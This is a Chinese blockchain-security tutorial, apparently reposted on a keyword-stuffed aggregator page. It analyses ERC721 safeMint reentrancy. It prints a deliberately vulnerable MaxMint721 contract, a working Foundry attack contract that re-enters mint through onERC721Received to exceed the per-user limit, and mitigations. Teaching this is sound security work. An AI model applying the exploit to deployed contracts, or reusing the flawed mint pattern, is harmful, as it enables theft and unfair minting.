您的位置:首页 > 房产 > 建筑 > 哪个公司制作企业网站_html动态网页制作代码_seo整站优化新站快速排名_seo招聘信息

哪个公司制作企业网站_html动态网页制作代码_seo整站优化新站快速排名_seo招聘信息

2025/1/4 5:28:51 来源:https://blog.csdn.net/weixin_43458715/article/details/144836314  浏览:    关键词:哪个公司制作企业网站_html动态网页制作代码_seo整站优化新站快速排名_seo招聘信息
哪个公司制作企业网站_html动态网页制作代码_seo整站优化新站快速排名_seo招聘信息

区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

    • 1.1 漏洞分析
    • 1.2 漏洞合约
    • 1.3 攻击分析
    • 1.4 攻击合约

重点:MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _checkOnERC721Received 函数,触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数。to 地址是自己传入,因此可以再次调用 mint 函数,从而实现重入攻击。

1.1 漏洞分析

  1. MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _safeMint 函数
    在这里插入图片描述2. 而 _safeMint 会进一步调用 _checkOnERC721Received 函数,最终触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数,而to地址是可以传入的。
    在这里插入图片描述
  2. 在 onERC721Received 中,可以再次调用 mint 函数,从而实现重入攻击。

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";import "../../lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";/*
名称:未保护的回调 - ERC721 SafeMint 重入漏洞 Unprotected callback - ERC721 SafeMint reentrancy描述:
ContractTest 合约利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。
通过触发 onERC721Received 函数,该函数内部再次调用了 mint 函数。
因此,尽管 MaxMint721 尝试限制用户可以铸造的最大代币数量(MAX_PER_USER),
但 ContractTest 合约仍然成功铸造了超过限制的代币数量。场景:
本练习展示了一个通过回调函数铸造更多 NFT 的合约漏洞。缓解措施:
遵循检查-效果-交互模式(check-effect-interaction),并使用 OpenZeppelin Reentrancy Guard。参考资料:
https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a
https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code*/contract MaxMint721 is ERC721Enumerable {uint256 public MAX_PER_USER = 10;constructor() ERC721("ERC721", "ERC721") {}function mint(uint256 amount) external {require(balanceOf(msg.sender) + amount <= MAX_PER_USER,"exceed max per user");for (uint256 i = 0; i < amount; i++) {uint256 mintIndex = totalSupply();_safeMint(msg.sender, mintIndex);}}
}

1.3 攻击分析

  1. 在攻击合约中重写 onERC721Received 函数,并在函数内调用 MaxMint721.mint 函数。
    function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {console.log("Unprotected-callback_Attack-onERC721Received()-complete:",i);// 只有第一次调用onERC721Received函数的时候触发mint函数,不然会无限循环if (!complete) {complete = true;MaxMint721Contract.mint(9);console.log("Called with :", 9);console.log("in complete:", complete);}return this.onERC721Received.selector;}
  1. 将攻击合约地址作为 to 参数传入 ERC721 的 _checkOnERC721Received 函数。
    在这里插入图片描述

  2. 由于 MaxMint721.mint 会调用 _checkOnERC721Received,从而触发攻击合约的 onERC721Received 函数,形成重入攻击。

 function mint(uint256 amount) {_safeMint(msg.sender, mintIndex);}function _safeMint(address to, uint256 tokenId) internal virtual {_safeMint(to, tokenId, "");}function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {require(_checkOnERC721Received(address(0), to, tokenId, data));}function _checkOnERC721Received( ) {IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) }function onERC721Received() {MaxMint721Contract.mint(9);}
  1. 输出结果
    在这里插入图片描述

  2. 整个流程如下
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./Unprotected-callback.sol";contract ContractTest is Test {MaxMint721 MaxMint721Contract;address Koko;address Aquarius;bool complete;uint256 i;function setUp() public {MaxMint721Contract = new MaxMint721();// Koko = vm.addr(1);// Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);i = 0;console.log("Unprotected-callback_Attack-setUp()-complete:", i);}function testUnprotectedcallback() public {console.log("Unprotected-callback_Attack-testUnprotectedcallback()-address(this):",address(this));uint256 balance;balance = MaxMint721Contract.balanceOf(address(this));console.log("11-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",balance);MaxMint721Contract.mint(10);balance = MaxMint721Contract.balanceOf(address(this));console.log("22-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",balance);}function onERC721Received(address operator,address from,uint256 tokenId,bytes calldata data) external returns (bytes4) {// 只有第一次调用onERC721Received函数的时候触发mint函数,不然会无限循环if (!complete) {complete = true;MaxMint721Contract.mint(9);console.log("Called with :", 9);console.log("in complete:", complete);}return this.onERC721Received.selector;}
}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com